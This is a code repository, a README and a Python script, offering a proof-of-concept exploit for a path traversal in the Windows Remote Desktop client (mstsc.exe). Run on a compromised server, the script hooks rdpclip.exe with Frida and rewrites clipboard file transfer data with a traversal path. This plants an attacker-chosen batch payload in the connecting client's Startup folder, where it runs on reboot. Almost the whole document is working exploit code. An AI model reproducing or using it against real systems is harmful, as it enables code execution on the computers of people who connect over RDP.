├── README.md └── mstsc.py /README.md: -------------------------------------------------------------------------------- 1 | # mstsc-path-traversal 2 | mstsc.exe Path Traversal to RCE POC 3 | 4 | Based on: 5 | 6 | https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/ 7 | 8 | All improvements are welcome. 9 | -------------------------------------------------------------------------------- /mstsc.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # POC of mstsc.exe path traversal to RCE, could be easily modified to not to be used only by Administrator account as client. This script should be used on compromised server, then connect to it with mstsc.exe running with Administrator account. Nevertheless the account on destination compromised server could be anyone. The payload will be placed on STARTUP folder, when the client computer restart the payload will be executed. @0xedh. 3 | 4 | from __future__ import print_function 5 | import frida 6 | import sys 7 | import os 8 | import ctypes 9 | from ctypes import wintypes 10 | import pythoncom 11 | import win32clipboard 12 | import psutil 13 | import time 14 | from threading import Thread 15 | import win32con 16 | 17 | 18 | 19 | class DROPFILES(ctypes.Structure): 20 | _fields_ = (('pFiles', wintypes.DWORD), 21 | ('pt', wintypes.POINT), 22 | ('fNC', wintypes.BOOL), 23 | ('fWide', wintypes.BOOL)) 24 | 25 | def clip_files(file_list): 26 | offset = ctypes.sizeof(DROPFILES) 27 | length = sum(len(p) + 1 for p in file_list) + 1 28 | size = offset + length * ctypes.sizeof(ctypes.c_wchar) 29 | buf = (ctypes.c_char * size)() 30 | df = DROPFILES.from_buffer(buf) 31 | df.pFiles, df.fWide = offset, True 32 | for path in file_list: 33 | path = path.decode('gbk') 34 | array_t = ctypes.c_wchar * (len(path) + 1) 35 | path_buf = array_t.from_buffer(buf, offset) 36 | path_buf.value = path 37 | offset += ctypes.sizeof(path_buf) 38 | stg = pythoncom.STGMEDIUM() 39 | stg.set(pythoncom.TYMED_HGLOBAL, buf) 40 | win32clipboard.OpenClipboard() 41 | win32clipboard.EmptyClipboard() 42 | try: 43 | win32clipboard.SetClipboardData(win32clipboard.CF_HDROP, stg.data) 44 | finally: 45 | win32clipboard.CloseClipboard() 46 | 47 | def copy_file_to_clipboard(): 48 | clip_files(["C:\\Windows\Temp\\c.bat"]) 49 | 50 | 51 | def win32_clipboard_get(): 52 | 53 | win32clipboard.OpenClipboard() 54 | try: 55 | text = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT) 56 | except (TypeError, win32clipboard.error): 57 | try: 58 | text = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT) 59 | text = py3compat.cast_unicode(text, py3compat.DEFAULT_ENCODING) 60 | except (TypeError, win32clipboard.error): 61 | try: 62 | text = win32clipboard.GetClipboardData(win32clipboard.CF_HDROP) 63 | except: 64 | pass 65 | 66 | finally: 67 | win32clipboard.CloseClipboard() 68 | return text 69 | 70 | 71 | 72 | def clipboardchanges(): 73 | recent_value = "" 74 | data = "" 75 | while True: 76 | 77 | #Monitoring clipboard 78 | try: 79 | data = win32_clipboard_get() 80 | except Exception: 81 | pass 82 | tmp_value = data 83 | #Clipboard changing 84 | if tmp_value != recent_value: 85 | recent_value = tmp_value 86 | copy_file_to_clipboard() 87 | 88 | 89 | time.sleep(1) 90 | 91 | 92 | def findProcessIdByName(processName): 93 | 94 | listOfProcessObjects = [] 95 | 96 | for proc in psutil.process_iter(): 97 | try: 98 | pinfo = proc.as_dict(attrs=['pid', 'name', 'create_time']) 99 | if processName.lower() in pinfo['name'].lower() : 100 | listOfProcessObjects.append(pinfo) 101 | except (psutil.NoSuchProcess, psutil.AccessDenied , psutil.ZombieProcess) : 102 | pass 103 | 104 | return listOfProcessObjects; 105 | 106 | 107 | def on_message(message, data): 108 | print("[%s] => %s" % (message, data)) 109 | 110 | def fridahook(target_process): 111 | session = frida.attach(target_process) 112 | 113 | script = session.create_script(""" 114 | var baseAddr = Module.findBaseAddress('KERNEL32.dll'); 115 | console.log('KERNEL32.dll baseAddr: ' + baseAddr); 116 | var writefile = Module.findExportByName("KERNEL32.dll", "WriteFile"); 117 | Interceptor.attach(ptr(writefile), { 118 | 119 | 120 | onEnter: function (args) { 121 | console.log("writefile()"); 122 | 123 | this.buf = args[1]; 124 | this.len = args[2].toInt32(); 125 | 126 | console.log(this.buf); 127 | console.log(this.len); 128 | var bbuf = Memory.readByteArray(this.buf, this.len); 129 | console.log(hexdump(Memory.readByteArray(this.buf, this.len))); 130 | if(hexdump(Memory.readByteArray(this.buf, this.len)).includes("63 00 2e 00 62 00 61 00 74")) { 131 | console.log("-< FOUND CONTROLLED FILE, REPLACING >-"); 132 | 133 | pathTraversalArray = [0x05,0x00,0x01,0x00,0x54,0x02,0x00,0x00,0x01,0x00,0x00,0x00,0x64,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x71,0x24,0xd8,0x40,0xf4,0xc9,0xd4,0x01,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x67,0x00,0x72,0x00,0x61,0x00,0x6d,0x00,0x44,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x5c,0x00,0x4d,0x00,0x69,0x00,0x63,0x00,0x72,0x00,0x6f,0x00,0x73,0x00,0x6f,0x00,0x66,0x00,0x74,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x5c,0x00,0x53,0x00,0x74,0x00,0x61,0x00,0x72,0x00,0x74,0x00,0x20,0x00,0x4d,0x00,0x65,0x00,0x6e,0x00,0x75,0x00,0x5c,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x67,0x00,0x72,0x00,0x61,0x00,0x6d,0x00,0x73,0x00,0x5c,0x00,0x53,0x00,0x74,0x00,0x61,0x00,0x72,0x00,0x74,0x00,0x55,0x00,0x70,0x00,0x5c,0x00,0x63,0x00,0x2e,0x00,0x62,0x00,0x61,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00] 134 | Memory.writeByteArray(this.buf, pathTraversalArray); 135 | 136 | console.log("-< REPLACED WITH PATH TRAVERSAL >-"); 137 | console.log(hexdump(Memory.readByteArray(this.buf, this.len))); 138 | } 139 | 140 | } 141 | }); 142 | """) 143 | 144 | script.on('message', on_message) 145 | script.load() 146 | sys.stdin.read() 147 | session.detach() 148 | 149 | def waitforrdpclip(): 150 | while True: 151 | 152 | listOfProcessIds = findProcessIdByName("rdpclip") 153 | if len(listOfProcessIds) > 0: 154 | for elem in listOfProcessIds: 155 | processID = elem['pid'] 156 | processName = elem['name'] 157 | print((processID ,processName)) 158 | 159 | try: 160 | target_process = int(processID) 161 | except ValueError: 162 | target_process = processID 163 | 164 | Thread(target=clipboardchanges).start() 165 | Thread(target=fridahook(target_process)).start() 166 | 167 | 168 | else: 169 | #Waiting for rdpclip.exe 170 | time.sleep(5) 171 | 172 | 173 | def createfile(): 174 | if os.path.exists("C:\\Windows\\Temp\\c.bat"): 175 | waitforrdpclip() 176 | else: 177 | file1 = open("C:\\Windows\\Temp\\c.bat", "w") 178 | payload = raw_input("Write your payload here: ") 179 | file1.write(payload) 180 | file1.close() 181 | waitforrdpclip() 182 | 183 | if __name__ == '__main__': 184 | createfile() 185 | 186 | 187 | --------------------------------------------------------------------------------